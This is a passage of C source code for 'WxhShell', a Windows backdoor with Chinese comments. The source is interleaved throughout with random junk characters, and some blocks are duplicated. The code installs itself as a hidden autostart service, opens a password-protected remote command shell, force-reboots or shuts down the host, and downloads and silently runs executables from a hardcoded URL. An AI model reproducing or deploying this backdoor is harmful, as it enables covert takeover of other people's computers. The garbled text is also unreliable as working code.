,"EnumProcessModules"); 8<@X=Z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qxYCT$1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O'QnfpQ*9 ,fo7.
h4{ if (!NtQueryInformationProcess) return 0; PF+Or 9D;ono3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *:`fgaIDa if(!hProcess) return 0; Nnoj6+b .')^4\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Dw
y|mxlFn E )2/Vn2 CloseHandle(hProcess); fB'Jo<C qOa*JA` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $4og{ if(hProcess==NULL) return 0; 'pF$6n; S"`{ JCW$ HMODULE hMod; jc@=
b:r= char procName[255]; k L4 # unsigned long cbNeeded; /+WC6& %ofq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f"^t~q[VS ^N`KT CloseHandle(hProcess); yN06` = w7 \vrS>& if(strstr(procName,"services")) return 1; // 以服务启动 e)3Mg^ GoPMWbI7 return 0; // 注册表启动 @gQ?cU 7 } \g v-2., )Lk2tvr // 主模块 k?/! ` int StartWxhshell(LPSTR lpCmdLine) RN;#H_
q { $>Ow<!c SOCKET wsl; `>RM:!m6=$ BOOL val=TRUE; z]=Ks_7 int port=0; ?9?o8! struct sockaddr_in door; S&;)F|-q m}2hIhD9 if(wscfg.ws_autoins) Install(); X7gB.=\X ^x_.3E3Q port=atoi(lpCmdLine); Z&h :3; 6F%6]n if(port<=0) port=wscfg.ws_port; $"#M:V@ +aqQa~}r WSADATA data; B%o%%A8*g if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =PnNett}a !~j9Oc^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {96NtR0Z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zjs,R{ door.sin_family = AF_INET; ]{I>HA5[ door.sin_addr.s_addr = inet_addr("127.0.0.1"); y{XNB}E door.sin_port = htons(port); *$/Go8t4u ucbtPTFYvr if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8
-w|~y'; closesocket(wsl); *Tmqs@L return 1; gLx?0eBBA } T>&dPVmG, Oo
^AE if(listen(wsl,2) == INVALID_SOCKET) { !A14\ closesocket(wsl); - 8jlh return 1; VRHS 4 } B =DV!oUg Wxhshell(wsl); .dvs&+I WSACleanup(); R/6
v#9m7 A}3E)Qo=G return 0; R1.Yx? 8-smL^~%# } y;O
6q206 n"R$b: // 以NT服务方式启动 Lf{pTxKr VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h,]lN'JG{ { =YtK@+| i DWORD status = 0; TQvjU!> DWORD specificError = 0xfffffff; LOgB_$9_3 UA#=K+2 serviceStatus.dwServiceType = SERVICE_WIN32; `eGp.[ffT serviceStatus.dwCurrentState = SERVICE_START_PENDING; jASK!3pY serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `G>|g^6%i serviceStatus.dwWin32ExitCode = 0; g26 l:1P serviceStatus.dwServiceSpecificExitCode = 0; qc.9GC serviceStatus.dwCheckPoint = 0; J>nta?/,X serviceStatus.dwWaitHint = 0; NCm=l 472'P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RaC6RH if (hServiceStatusHandle==0) return; D^{jXNDNO >as+#rz1p status = GetLastError(); [y<s]C6E if (status!=NO_ERROR) <FN+
{ !
e?=g%( serviceStatus.dwCurrentState = SERVICE_STOPPED; h^J :k serviceStatus.dwCheckPoint = 0; Exat_ L'? serviceStatus.dwWaitHint = 0; 4dh>B>Q serviceStatus.dwWin32ExitCode = status; p%OVl[^jp serviceStatus.dwServiceSpecificExitCode = specificError; $=C `V SetServiceStatus(hServiceStatusHandle, &serviceStatus); gUp9yV return; 9 I&[6} } l8lJ & *LvdrPxU= serviceStatus.dwCurrentState = SERVICE_RUNNING; UG6\OgkL+ serviceStatus.dwCheckPoint = 0; ux[13]yY serviceStatus.dwWaitHint = 0; eE{
2{C if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y2+YmP*z` } foI:`]2"* V0gu0+u~R // 处理NT服务事件,比如:启动、停止 W5&KmA VOID WINAPI NTServiceHandler(DWORD fdwControl) (c[DQS j { <F|S<\Y. switch(fdwControl) _G)x\K]N { -1R7 8(1 case SERVICE_CONTROL_STOP: 2%]#rZ
serviceStatus.dwWin32ExitCode = 0; `Cu9y+t serviceStatus.dwCurrentState = SERVICE_STOPPED; .;D' serviceStatus.dwCheckPoint = 0; ^brh\M,:@ serviceStatus.dwWaitHint = 0; oK&G { a$LoQ<f_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); " &mwrjn"T } HZ\=NDz return; +H!aE} case SERVICE_CONTROL_PAUSE: GU xhn serviceStatus.dwCurrentState = SERVICE_PAUSED; I#zL-RXT break; E7]a# case SERVICE_CONTROL_CONTINUE: (. ,{x)H serviceStatus.dwCurrentState = SERVICE_RUNNING; `oE.$~' break; 1ay{uU!EL case SERVICE_CONTROL_INTERROGATE: R7x*/? break; _cbXzSYq& }; D6EqJ,~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); W#9LK
Jj } /NVyzM51V zG&yu0;D6 // 标准应用程序主函数 u 0 K1n_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QW%xwV?8 {
<XnxAA QwI HEmdM // 获取操作系统版本 "3?:,$* OsIsNt=GetOsVer(); k:1|Z+CJ GetModuleFileName(NULL,ExeFile,MAX_PATH); )/{~&LU A{52T]9X // 从命令行安装 9O:-q[K** if(strpbrk(lpCmdLine,"iI")) Install(); @t8{pb;v o^BX:\} // 下载执行文件 Vb~;"WABo if(wscfg.ws_downexe) { l+O\oD?- if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]Vf2Mn=]" WinExec(wscfg.ws_filenam,SW_HIDE); SLud}|f;o } 9cMMkOM J (HeIO if(!OsIsNt) { P;e@<O // 如果时win9x,隐藏进程并且设置为注册表启动 {d,^tG} HideProc(); Km0P)Z StartWxhshell(lpCmdLine); ?:RWHe.P } rrZ'Dz else 8p~|i97W]! if(StartFromService()) By0Zz // 以服务方式启动 $tebNiP StartServiceCtrlDispatcher(DispatchTable); v1E(K09h2 else 7L!q{%} // 普通方式启动 )/t=g StartWxhshell(lpCmdLine); Uql7s:!,U RD*.n1N1 return 0; %#7^b=;= } ATI2 0&2&F=fOa< $H7T|`WI., a3BlydSlf =========================================== vLM-v diF2:80o 5%R$7>`Z *&W1|Qkg_ Dn;$4Dak( y Xi$w.gr " 6 ;}FZ 5U(ry6fI= #include <stdio.h> A#w*r-P #include <string.h> O,7*dniH #include <windows.h> H=_k|#/ #include <winsock2.h> Bj\ oo+L/ #include <winsvc.h> /f,*| #include <urlmon.h> Je~<2EsQ ; <|m0>X #pragma comment (lib, "Ws2_32.lib") /k^O1+]H #pragma comment (lib, "urlmon.lib") Y;q['h lQer|?# #define MAX_USER 100 // 最大客户端连接数 ,wk %)^ #define BUF_SOCK 200 // sock buffer >2<
Jb!f& #define KEY_BUFF 255 // 输入 buffer EA!I&
mBq \H.1I=< #define REBOOT 0 // 重启 c(!{_+q" #define SHUTDOWN 1 // 关机 5E\&O%W" ixo?o]Xb` #define DEF_PORT 5000 // 监听端口 Qx[
nR/ `z`"0;,7S #define REG_LEN 16 // 注册表键长度 ]WC@*3'kye #define SVC_LEN 80 // NT服务名长度 j;i7.B"[ Dad*6;+N // 从dll定义API [moz{Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K#'{Ko typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8'Bik typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {;Y2O.lV typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tje A(qy>x-BI // wxhshell配置信息 KEvT."t struct WSCFG { \g\, int ws_port; // 监听端口 8@4)p.{5I char ws_passstr[REG_LEN]; // 口令 *'ex>4^ int ws_autoins; // 安装标记, 1=yes 0=no 5TcirVO82 char ws_regname[REG_LEN]; // 注册表键名 +J%9%DqF char ws_svcname[REG_LEN]; // 服务名 'B$qq[l]S char ws_svcdisp[SVC_LEN]; // 服务显示名 E.OL_ \ char ws_svcdesc[SVC_LEN]; // 服务描述信息 n/-d56 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KdkZ-. int ws_downexe; // 下载执行标记, 1=yes 0=no 5y|/}D> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a`uHkRX
)U char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i^u5j\pfY* EU-=\Y }; "]D2}E>U; iMr/i?`i // default Wxhshell configuration L&SlUXyt.c struct WSCFG wscfg={DEF_PORT, -!z,t7! "xuhuanlingzhe", :g=z}7!s 1, Z3
$3zyi "Wxhshell", -+=+W "Wxhshell", K~Hp%. "WxhShell Service", @-Js)zcl q "Wrsky Windows CmdShell Service", m>@ *-*8k "Please Input Your Password: ", O&u[^s/^ 1, dzPwlCC%- "http://www.wrsky.com/wxhshell.exe", Z 2u5n`K "Wxhshell.exe" 2kU=9W6ND }; Td>Lp=0rU RA~%Cw4t // 消息定义模块 N_"mC^Vx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,
H_Cn1l char *msg_ws_prompt="\n\r? for help\n\r#>"; 1]vrpJw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uyITUvPg[ char *msg_ws_ext="\n\rExit."; m;d#*}n\p char *msg_ws_end="\n\rQuit."; Jd>"g9 char *msg_ws_boot="\n\rReboot..."; /`V:; char *msg_ws_poff="\n\rShutdown..."; 6Q.6 char *msg_ws_down="\n\rSave to "; Ad:)5R o L0O},O char *msg_ws_err="\n\rErr!"; 7-hSso.' char *msg_ws_ok="\n\rOK!"; 8_@#5 -h<Rby char ExeFile[MAX_PATH]; SMdQ,n1] int nUser = 0; amK.H" HANDLE handles[MAX_USER]; Fn~?YN int OsIsNt; ^s&1,
>O:j.(*! SERVICE_STATUS serviceStatus; @4N@cM0
SERVICE_STATUS_HANDLE hServiceStatusHandle; K)C9)J< %l7|+%M.{ // 函数声明 n/fMq,<8 int Install(void); 1]uHaI( int Uninstall(void); lC ^NhQi int DownloadFile(char *sURL, SOCKET wsh); *?Sp9PixP int Boot(int flag); jI(}CT`g void HideProc(void); EJrn4QOs int GetOsVer(void); JtrLTo int Wxhshell(SOCKET wsl); ,U#$Qb 12 void TalkWithClient(void *cs); w1+xlM,,9 int CmdShell(SOCKET sock); lJloa'%v9 int StartFromService(void); iCYo?> int StartWxhshell(LPSTR lpCmdLine); ^Pk-<b4} tOK lCc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wl:vO^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); >}~Pu|
_S b4$-?f?V // 数据结构和表定义 {b^JH2,
SERVICE_TABLE_ENTRY DispatchTable[] = qh)o44/
$ { SDTX3A1 {wscfg.ws_svcname, NTServiceMain}, )J"Lne*" {NULL, NULL} v~N8H+!d }; U`es
n?m! MDCK@?\ // 自我安装 l`s_#3 int Install(void) k]=Yi; { d?)C} 2 char svExeFile[MAX_PATH]; SqhG\qE{Qj HKEY key; u^T{sQ"_ strcpy(svExeFile,ExeFile); [D=3:B&f )o<rU[oD]C // 如果是win9x系统,修改注册表设为自启动 :N<ZO`l? if(!OsIsNt) { 7Xu.z9y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )r#^{{6[v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r1= :B'z RegCloseKey(key); ]$'w8<D>t, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1}{bHj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^y,%Tv> RegCloseKey(key); 8%s_~Yc return 0; A3C#wJ } n
4:Yc@, } Wv]NFHe# } 4|*H0}HOm else { MH+t`/E0] h-Q3q: // 如果是NT以上系统,安装为系统服务 , wT$L3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4%TY`
II if (schSCManager!=0) fCL5Et { &xlz80% SC_HANDLE schService = CreateService *OT6)]|k ( YH(
54R schSCManager, z
(,%<oX wscfg.ws_svcname, j"aimjqd3 wscfg.ws_svcdisp, LB|FVNW/S SERVICE_ALL_ACCESS, p-H q\DP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XAV|xlfm SERVICE_AUTO_START, $:R"IqDG SERVICE_ERROR_NORMAL, \Ze"Hv svExeFile, ]e?cKC\"e NULL, MX-(;H NULL, OQ>r;)/ NULL, Br2ZloJ@+ NULL, Ldnw1xy NULL 2-9'zN0u ); ]urrAIK if (schService!=0) ^d! (8vh { YPraf$ CloseServiceHandle(schService); `k} CloseServiceHandle(schSCManager); 85P7I=`*d strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G'/36M@ strcat(svExeFile,wscfg.ws_svcname); !A(*?0` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oe$Y=` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $2=-Q/lM RegCloseKey(key); ^Tbw#x]2 return 0; lS.*/u*5 } <!#6c :(Q } 6>! ;g'k CloseServiceHandle(schSCManager); ho#]i$b}f2 } MXWCYi } ;Jex#+H(:D o7N3:) return 1; J;pn5k~3 } K4Mv\! Q<8 N'nI
^= // 自我卸载 ]Ma2*E!p int Uninstall(void) gw0b>E8gZ& { w{J0K;L HKEY key; ] 8sVXZ Ij_Y+Mnl4: if(!OsIsNt) { F2yc&mXyk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |kL^k{=zV RegDeleteValue(key,wscfg.ws_regname); sGjYL>* RegCloseKey(key); +@wa?" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H@$\SUc{ RegDeleteValue(key,wscfg.ws_regname); iX8&mUR RegCloseKey(key); ,}i`1E 1= return 0; Z}(,OZh } Z !Njfq5 } -AUdBG } lLy^@s else { P8jXruZr \8%64ZL` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zfDxc3e
if (schSCManager!=0) pCOr{I\ { =k#SQ/@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L0?-W%$> if (schService!=0) LOf0_g/ { B[:-SWd if(DeleteService(schService)!=0) { 9ZjSM,+ CloseServiceHandle(schService); `<>Emc8Z CloseServiceHandle(schSCManager); irSdqa/ return 0; kYw k'\s } !ydJ{\; CloseServiceHandle(schService); l$$N~F N } VU7x w CloseServiceHandle(schSCManager); Pa PQ|Pwz } ]+O];*T } e;:~@cB,c ", b}-B return 1; &K@2kq, } DN)Ehd. SV;S`\i // 从指定url下载文件 f)x^s$H int DownloadFile(char *sURL, SOCKET wsh) ngM>Tzirt { W)I)QinOH HRESULT hr; x/Pi#X m char seps[]= "/"; 1df}gG char *token; nlaJ char *file; E5.3wOE char myURL[MAX_PATH]; LyM" char myFILE[MAX_PATH]; 2fp\s5%J} WyH2` xxX strcpy(myURL,sURL); $Yh7N5XH, token=strtok(myURL,seps); OHixOI$O while(token!=NULL) sr!m { *6%!i7kr file=token; `RUOZ@r token=strtok(NULL,seps); b&s"/Y89 } Vt-D8J\A
0 kIS_6! GetCurrentDirectory(MAX_PATH,myFILE); "'
g*_ strcat(myFILE, "\\"); e*w2u<HP strcat(myFILE, file); au'Zjj/Ai5 send(wsh,myFILE,strlen(myFILE),0); <$)F_R~T3 send(wsh,"...",3,0); 2
F3U,} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a= *&OW if(hr==S_OK) #% PnZ
/ return 0; V=}AFGC85 else cx?t C#t return 1; J%c4-'l (rV#EA+6[` } IHCEuK t><AaYij_ // 系统电源模块 Wh4`Iv\. int Boot(int flag) U5 ~L^ { yD|He*$S HANDLE hToken; W|_^Oe< TOKEN_PRIVILEGES tkp; 4%/iu)nx Z6%Hhk[ if(OsIsNt) { #w3cImgp2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j}NGyS" = LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q1QrtJFPG tkp.PrivilegeCount = 1; SS;[{u! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {VqcZhqy/l AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _JZS;8WYR if(flag==REBOOT) { L1;IXCc= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9$F '*{8 return 0; g7G=ga } GmoY~}cg~ else { Jybx'vZj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >(Mu9ie*` return 0; bgs2~50 } Ym~*5| } z7X[$T$V else { _:4n&1{.E if(flag==REBOOT) { #Pi}2RBRu if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hawE2k0p( return 0; 3#7D
g't } w@U`@})r. else { };%l <Ui; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FFGG6r return 0; _U<sz{6 } NsYeg&>` } v^_OX$=, iT#)i3 return 1; C"w>U } )r_zM~jI p:]kH // win9x进程隐藏模块 "]|I;I"b void HideProc(void) ao>`[- { GrWzgO FL-yt HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0mj^Tms if ( hKernel != NULL ) yeQ6\yi { /8 /2#`3R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ptXCM[Z+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %G!BbXlz FreeLibrary(hKernel); <=KtRE>$ } 5N=QS1<$5 ?ysC7(( return; KrNu7/H
} (vHB`@x Qx,jUL#2 // 获取操作系统版本 Dk&@AjJga int GetOsVer(void) PS ,@ \ { G|5M~zP OSVERSIONINFO winfo; p]z
* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XBi}hT GetVersionEx(&winfo); P)he3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CFqteY" return 1; u
Ey>7I else }r`m(z$z return 0; &sJZSrk| } <0!/7*;#ZT ]<\FtH // 客户端句柄模块 8:V:^`KaSs int Wxhshell(SOCKET wsl) 8t3,}}TJ { "0al"? SOCKET wsh; G[7Z5)2B struct sockaddr_in client; Ph(bgQg DWORD myID; % j4 v6B}ov[Y2 while(nUser<MAX_USER) Qp9)Rc5 {
G-?y;V 1 int nSize=sizeof(client); E;7vGGf] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]mEY/)~7 if(wsh==INVALID_SOCKET) return 1; t)Q6A@$: Ra%" += handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l*;Isz: if(handles[nUser]==0) V@6,\1#`| closesocket(wsh); :sD/IM",}, else 8.9TWsZ nUser++; A1`y_
Aj } |y+<|fb,a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'urn5[i Jr/|nhGl5 return 0; 4N&4TUIM } te
e
a`XXz // 关闭 socket ^,`;x void CloseIt(SOCKET wsh) tz{W69k+ { Lyjt$i W% closesocket(wsh); v[efM8 nUser--; 0"q ^`@sZ ExitThread(0); saMv.;s
1^ } `Oxo@G*@}W ":t'}Eg=6 // 客户端请求句柄 Sl@$ void TalkWithClient(void *cs) 1&_93 { E3bS Q t#pF.!9= SOCKET wsh=(SOCKET)cs; x[]}Jf{t char pwd[SVC_LEN]; "o+E9'Dm char cmd[KEY_BUFF]; I"/p^@IX char chr[1]; W-9?|ei int i,j; !KiN} p zNe>fZ
while (nUser < MAX_USER) { 6ybpPls pF~[ if(wscfg.ws_passstr) { *`
}Rt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u(W%snl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q2wEt
>0a //ZeroMemory(pwd,KEY_BUFF); [se J'Io i=0; VFUuG3p) while(i<SVC_LEN) { 0OJBC~?{\ cB~D3a0Th // 设置超时 lCmTm fd_set FdRead; iwJeV J struct timeval TimeOut; ^{L/) Xy5 FD_ZERO(&FdRead); ".Lwq_ FD_SET(wsh,&FdRead); F/ BB]gUB TimeOut.tv_sec=8; o[C,fh,$ TimeOut.tv_usec=0; }Yd7<"kp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eJWcrVpn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /b3b0VfF G$b*N4yR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TiiMX pwd=chr[0]; +:@lde]/p if(chr[0]==0xd || chr[0]==0xa) { u,]?_bK) pwd=0; &DnX6%2 break; RLuA^ONI } JO*}\Es i++; ,Jqi J?,4C } =pQ'wx|>| Uy8r
!9O // 如果是非法用户,关闭 socket Q
a(>$. h if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N%8O9Dp8; } 4`(b(DL] n}NO"eF>-s send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FjUf| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4.?tP7UE N7/eF9 while(1) { \[m{ &%^G FdT@} ZeroMemory(cmd,KEY_BUFF); $LxfdSa ;MD6iBD // 自动支持客户端 telnet标准 GEJEhwO;H j=0; 5i 56J1EC while(j<KEY_BUFF) { QFn .<@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R $vo cmd[j]=chr[0]; p#['CqP8 if(chr[0]==0xa || chr[0]==0xd) { J!l/!Z>!cF cmd[j]=0; }=) break; zCOzBL/1q } g\%vkK&I j++; nP9zTa } ,MH9e! 9
U6cM-p? // 下载文件 1+P&O4> if(strstr(cmd,"http://")) { 9~AAdD send(wsh,msg_ws_down,strlen(msg_ws_down),0); nJEm&"AI if(DownloadFile(cmd,wsh)) Qfx:}zk{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Q159qZ else ?OW! zE: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fU@{!;|Pz } #=>t6B4af else { 0taopDi;d aTJs.y-I~ switch(cmd[0]) { Q]9g
K,pQ11J // 帮助 5u(B]_r. case '?': { 8Ja't8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D;~c`G
"f break; 1y/_D$~ZO } 3`V#ImV> // 安装 F(?A7 case 'i': { d(LX;sq? if(Install()) vjfV??XSU send(wsh,msg_ws_err,strlen(msg_ws_err),0); FH"u9ygF else &y164xn'h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s\7]"3:wD break; UOi[#L@N } y81B3`@ // 卸载 zUw=e}?: case 'r': { e
MX?x7 if(Uninstall()) "oZ$/ap\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); /wF*@ /PTH else )U>JFgpIW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t-, =sV
break; }3{ x G+, } )FF3|dZ";K // 显示 wxhshell 所在路径 S"*M9*8 case 'p': { *U[Nn5#? char svExeFile[MAX_PATH]; eiiI Wr_7 strcpy(svExeFile,"\n\r"); ]yvHb)X strcat(svExeFile,ExeFile); `%PU_;Y5Q send(wsh,svExeFile,strlen(svExeFile),0); zOV.cI6fZz break; >^<%9{ } 6jdNQC$#B // 重启 ?8{x/y: case 'b': { @vy{Q7aM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z?9vbx if(Boot(REBOOT)) BKiyog send(wsh,msg_ws_err,strlen(msg_ws_err),0); F_Pv\?35z else { g;|3n& closesocket(wsh); _A[k&nO!&J ExitThread(0); @zz4,,] } G)vq+L5% break; YIb=rR[ $ } ;r**`O // 关机 ,-55*Rb i case 'd': { `pB]_"b send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R~=_,JUW if(Boot(SHUTDOWN)) ZS@ Gt send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;rty<Z^b else { nPAVrDg
O closesocket(wsh); SHc<`M'+ ExitThread(0); #osP"~{
} z2EZ0vZ break; -d|Q|zF^x } 3hN.`G-E // 获取shell ^xBF$ua37) case 's': { nDt1oM
H CmdShell(wsh); %fv;C closesocket(wsh); }ZP;kM$g ExitThread(0); A7|CG[wZ break; BCrX>Pp}r } 9|;"+jlt // 退出 v2vPfb case 'x': { &}YJ"o[I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Py&DnG'H CloseIt(wsh); 'G6M:IXno break; dtXAEL\q } mX4u#$xs: // 离开 +Wr"c case 'q': { I UMt^z send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^rHG#^hA closesocket(wsh); `|{6U"n WSACleanup(); X =sC8E dx exit(1); zc}qAy'< break; \.@fAgv } 7K*\F}2)q } , Ww\C } VE
<p,IO W.B>"u // 提示信息 47GL[ofY if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tA*hh"9 } K GVAP } iyj,0T ?Re6oLm<B return; BdK2I!mm } xK8n~.T(' n$jOk
|W // shell模块句柄 MS_@
Xe int CmdShell(SOCKET sock) *@E Itj ` { "*ot:;I STARTUPINFO si; }I1A4=d ZeroMemory(&si,sizeof(si)); "0,d)L0," si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QNGICG- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5WT^;J9V PROCESS_INFORMATION ProcessInfo; `|Ll char cmdline[]="cmd"; # 1S*}Q<k CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DE0gd
ux8 return 0; pPC_ub } i?*_-NAm [(hB%x_" // 自身启动模式 lbRm(W( int StartFromService(void) GaD]qeS-K { `u. /2]n typedef struct Ca&p;K9FR { 9PU9BYBG DWORD ExitStatus; ]m>N!Iu DWORD PebBaseAddress; v7V.,^6+ DWORD AffinityMask; z>,fuR?9 DWORD BasePriority; zoj3w|G ULONG UniqueProcessId; wFgL\[$^| ULONG InheritedFromUniqueProcessId; SP&Y|I$: } PROCESS_BASIC_INFORMATION; 3Zr'Mn qrWeV8ur+ PROCNTQSIP NtQueryInformationProcess; Z5oX "Yx ;yc|=I^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tb2Tb2C static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RR%[]M#_T BQs~>}(V HANDLE hProcess; isdEs k#A. PROCESS_BASIC_INFORMATION pbi; fP6]zy^* &oA p[] HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,>DaS( if(NULL == hInst ) return 0; SM<kR1bo f9Vxtd g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); af:wg]g g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U%Igj:%?;` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k:+Bex$g q,<AW> if (!NtQueryInformationProcess) return 0; uv:DO6 { 3\=iB&Gf| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $'9b,- e if(!hProcess) return 0; +npcU:(Kg _l i\b- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %(EUZu2 i$Rlb5RU CloseHandle(hProcess); vPVA^UPNV ;w^-3 U7: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @IB+@RmL if(hProcess==NULL) return 0; q}nL'KQ,n p6VHa$[ HMODULE hMod; L5"|RI} char procName[255]; 2EHeQ|# unsigned long cbNeeded; oic}Go p|W <xFk if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D92#&,KD l c<&f CloseHandle(hProcess); 